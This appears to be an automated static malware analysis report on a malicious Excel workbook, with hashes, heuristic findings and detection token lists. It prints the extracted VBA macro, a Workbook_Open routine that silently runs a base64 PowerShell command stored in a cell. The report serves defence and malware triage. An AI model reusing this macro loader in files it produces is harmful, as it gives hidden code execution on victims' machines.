Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 537d7277e133be5b…

MALICIOUS

Office (OOXML) / .XLSX

30.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-07
MD5: 3ee8c3d0be75aecafaf8c0919238ba70 SHA-1: a43c3e2f52e85c89978015668ce622a15b1ef657 SHA-256: 537d7277e133be5be7952d34d8143219b648b4791e4aca9781de556a0a3eccea
228 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1061 bytes
SHA-256: 51c839ec0c407846ab156cc100d6abc473843c3322ca18a56a74ce3b551c0fc1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error Resume Next
    Dim b64 As String
    b64 = Trim(ThisWorkbook.ActiveSheet.Range("AZ51").Value)
    
    If b64 <> "" Then
        ' %SystemRoot%\System32\WindowsPowerShell\v1.0\ powershell.exe заменяется на окружение %ComSpec%
        Shell CreateObject("Scripting.FileSystemObject").GetSpecialFolder(1) & "\WindowsPowerShell\v1.0\powershell.exe -e " & b64, vbHide
    End If
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 65f986cc9fe523b746a51594e7e287105379bb0a38c3e2a5f0b5ed9b0f6aa6dc